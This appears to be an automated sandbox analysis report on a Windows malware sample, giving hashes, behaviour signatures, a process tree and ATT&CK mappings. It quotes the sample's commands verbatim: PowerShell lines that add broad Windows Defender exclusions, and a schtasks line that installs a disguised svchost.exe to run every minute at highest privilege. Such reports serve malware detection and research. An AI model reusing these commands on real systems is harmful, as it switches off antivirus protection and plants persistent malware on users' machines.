2a03df419d6c6ae75dd211f5647dd986616133ef81e1dac7f2b5c2447702c467

General

Target

JaffaCakes118_f9fbbd4c6a8b4df3d5d08cba082a699a.exe
Size

10.6MB
MD5

f9fbbd4c6a8b4df3d5d08cba082a699a
SHA1

723abb7421800d2a1297a29b3792414ea16573bc
SHA256

2a03df419d6c6ae75dd211f5647dd986616133ef81e1dac7f2b5c2447702c467
SHA512

06e426758ef3d32fa961d5f9e028377e7e8878d59c4e7936103dc0279d189033bed8e2bd9cf1e10203e698d96f2a3ac5bebdfe72d878c410c32faa70244df9b6
SSDEEP

196608:enAZFZNUmR+FWM9pwQpHKb2x257MgnFEz1sZsqw/UaM2hHEH11wN0v0p:eAZtFg0MfFxKI25IgcusqNPNcNk0p

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1404	powershell.exe
4348	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4884	svchost.exe
3756	svchost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost32\svchost.exe	JaffaCakes118_f9fbbd4c6a8b4df3d5d08cba082a699a.exe
File opened for modification	C:\Windows\system32\svchost32\svchost.exe	JaffaCakes118_f9fbbd4c6a8b4df3d5d08cba082a699a.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3464	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4312	JaffaCakes118_f9fbbd4c6a8b4df3d5d08cba082a699a.exe
1404	powershell.exe
1404	powershell.exe
4348	powershell.exe
4348	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4312	JaffaCakes118_f9fbbd4c6a8b4df3d5d08cba082a699a.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeDebugPrivilege	4348	powershell.exe
Token: SeDebugPrivilege	4884	svchost.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4312 wrote to memory of 4376	4312	JaffaCakes118_f9fbbd4c6a8b4df3d5d08cba082a699a.exe	89
PID 4312 wrote to memory of 4376	4312	JaffaCakes118_f9fbbd4c6a8b4df3d5d08cba082a699a.exe	89
PID 4312 wrote to memory of 3464	4312	JaffaCakes118_f9fbbd4c6a8b4df3d5d08cba082a699a.exe	91
PID 4312 wrote to memory of 3464	4312	JaffaCakes118_f9fbbd4c6a8b4df3d5d08cba082a699a.exe	91
PID 4376 wrote to memory of 1404	4376	cmd.exe	93
PID 4376 wrote to memory of 1404	4376	cmd.exe	93
PID 4376 wrote to memory of 4348	4376	cmd.exe	96
PID 4376 wrote to memory of 4348	4376	cmd.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_f9fbbd4c6a8b4df3d5d08cba082a699a.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_f9fbbd4c6a8b4df3d5d08cba082a699a.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4312
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" #cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4348
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /f /sc minute /rl highest /mo 1 /tn "Entrenched" /tr "C:\Windows\system32\svchost32\svchost.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3464

C:\Windows\system32\svchost32\svchost.exe
C:\Windows\system32\svchost32\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4884

C:\Windows\system32\svchost32\svchost.exe
C:\Windows\system32\svchost32\svchost.exe
1⤵
- Executes dropped EXE
PID:3756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

Filesize
2KB

MD5
3d61c3fafacd57fc570153fefcc3bf45

SHA1
f0a01b1a27acde8d1d499daeb119e78b2d68f425

SHA256
89ed90813893a44310852bd8c730cc4ada856fff05b87a15f0a4f753f828ea28

SHA512
5f16cb9e3865edbb689c47655424e0600e1cfb5ced88a6f3d91bf5026494a1766495465c205b9937a4f08fb14fe71fe238e32f6e0d6ac1d1341ba4fa0868a1c9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gwvuoigz.gm3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\svchost32\svchost.exe

Filesize
10.6MB

MD5
f9fbbd4c6a8b4df3d5d08cba082a699a

SHA1
723abb7421800d2a1297a29b3792414ea16573bc

SHA256
2a03df419d6c6ae75dd211f5647dd986616133ef81e1dac7f2b5c2447702c467

SHA512
06e426758ef3d32fa961d5f9e028377e7e8878d59c4e7936103dc0279d189033bed8e2bd9cf1e10203e698d96f2a3ac5bebdfe72d878c410c32faa70244df9b6

Download Submit
memory/1404-34-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

Filesize
10.8MB

Download
memory/1404-26-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

Filesize
10.8MB

Download
memory/1404-27-0x000002387BA50000-0x000002387BA72000-memory.dmp

Filesize
136KB

Download
memory/1404-20-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

Filesize
10.8MB

Download
memory/1404-19-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

Filesize
10.8MB

Download
memory/3756-66-0x000001DC98010000-0x000001DC981B9000-memory.dmp

Filesize
1.7MB

Download
memory/4312-6-0x00007FFB5BBD3000-0x00007FFB5BBD5000-memory.dmp

Filesize
8KB

Download
memory/4312-0-0x00007FFB5BBD3000-0x00007FFB5BBD5000-memory.dmp

Filesize
8KB

Download
memory/4312-11-0x0000025473640000-0x0000025473B0C000-memory.dmp

Filesize
4.8MB

Download
memory/4312-10-0x0000025472F10000-0x0000025473172000-memory.dmp

Filesize
2.4MB

Download
memory/4312-9-0x0000025472BE0000-0x0000025472F04000-memory.dmp

Filesize
3.1MB

Download
memory/4312-8-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

Filesize
10.8MB

Download
memory/4312-7-0x0000025470B40000-0x0000025470CE9000-memory.dmp

Filesize
1.7MB

Download
memory/4312-12-0x0000025473170000-0x0000025473182000-memory.dmp

Filesize
72KB

Download
memory/4312-5-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

Filesize
10.8MB

Download
memory/4312-4-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

Filesize
10.8MB

Download
memory/4312-3-0x00007FFB5BBD0000-0x00007FFB5C691000-memory.dmp

Filesize
10.8MB

Download
memory/4312-1-0x000002546DCD0000-0x000002546E092000-memory.dmp

Filesize
3.8MB

Download
memory/4312-2-0x0000025470810000-0x0000025470B42000-memory.dmp

Filesize
3.2MB

Download
memory/4884-58-0x000001D975800000-0x000001D9759A9000-memory.dmp

Filesize
1.7MB

Download
memory/4884-55-0x000001D975800000-0x000001D9759A9000-memory.dmp

Filesize
1.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads